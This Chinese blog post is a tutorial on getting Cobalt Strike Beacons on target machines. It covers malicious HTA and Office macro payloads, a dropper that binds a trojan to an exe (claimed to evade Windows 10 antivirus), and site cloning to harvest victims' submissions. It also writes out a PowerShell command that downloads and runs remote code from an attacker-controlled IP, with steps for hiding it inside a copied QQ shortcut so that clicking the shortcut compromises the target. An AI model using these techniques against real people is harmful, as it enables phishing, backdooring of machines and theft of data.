欢迎光临
我们一直在努力
"

Cobalt Strike获得Beacon的几种方式

0x00 简介

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用

0x01 运行

Cobalt Strike运行需要搭建团体服务器运行在Cobalt Strike目录下执行./teamserver ip 密码

1464585031-2228-05

接着在相同的目录打开终端 输入java -jar cobaltstrike.jar

1464585023-3866-05

用户名随便 密码就是刚才设置的密码我这里是2333

0x02 攻击向量介绍

cobaltstrike的attack–>packages包括:

1464585020-1489-05

HTML Application 生成恶意的HTA木马文件;

MS Office Macro 生成office宏病毒文件;

Payload Generator 生成各种语言版本的payload;

USB/CD AutoPlay 生成利用自动播放运行的木马文件;

Windows Dropper 捆绑器,能够对文档类进行捆绑;

Windows Executable 生成可执行exe木马;

Windows Executable(S)生成无状态的可执行exe木马。

web Drive-by包括:1464585020-2631-05

Manage对开启的web服务进行管理;

Clone Site 克隆网站,可以记录受害者提交的数据;

Host File 提供一个文件下载,可以修改Mime信息;

PowerShell Web Delivery类似于msf web_delivery ;

Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;

Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;

System Profiler用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。

0x03 几种获得beacon的方式

使用之前先创建一个监听器

Cobalt Strike–>listener

1464585021-1863-05

点击sava 一个监听器就创建好了

1,HTML Application 生成一个基于powershell的恶意HTA木马

选中attack–>packages–>HTML Application

1464585021-2084-05

上面是选择刚刚创建好的saya监听器你也可以旁边add一个 下面是选择基于powershell的HTA木马

点击Generate保存一个目录即可生成一个HTA木马

目标点击HTA木马后即可获得一个beacon1464585020-6968-05

2,MS Office Macro 生成office宏病毒文件

这里可以参考:Office Phishing

3,Windows Dropper 捆绑一个exe木马

选中attack–>packages–>Windows Dropper

1464585020-4529-05

依旧用之前的监听器

Embedded File选择要捆绑的exe

file name是捆绑的名字 选择后Generate生成 目标点击后获得beacon

1464585023-6230-05

免杀性:windows10的杀软并没有报毒

4,powershell web-Drive-by制作快捷方式后门

依次选择attack–>web-Drive-by–>powershell Drive-by

1464585022-9150-05

Laubch生成之后会输出一条语句这条语句在powershell运行会得到一个beacon但是一般人不会这么傻去运行1464585022-2258-05

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.107:80/’))”

我们随便复制一个软件的快捷方式1464585022-2879-05这里以QQ为例子目标复制上我们的语句 起始位置清空 选择应用之后目标点击快捷方式获得beacon1464585022-9697-05

还有其他的模块其实都差不多

如Signed Applet Attack  Smart Applet Attack和S.E.T的java攻击向量相同

Host File 可以配合DNS欺骗实现挂马效果使用

这里就不多BB了

至于beacon的后渗透模块使用方式 请参考:Cobalt strike3.0使用手册

转载请注明: 转载自Legend‘s BLog

本文链接地址: Cobalt Strike获得Beacon的几种方式



未经允许不得转载:Legend‘s BLog » Cobalt Strike获得Beacon的几种方式

分享到:更多 ()

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

无觅相关文章插件,快速提升流量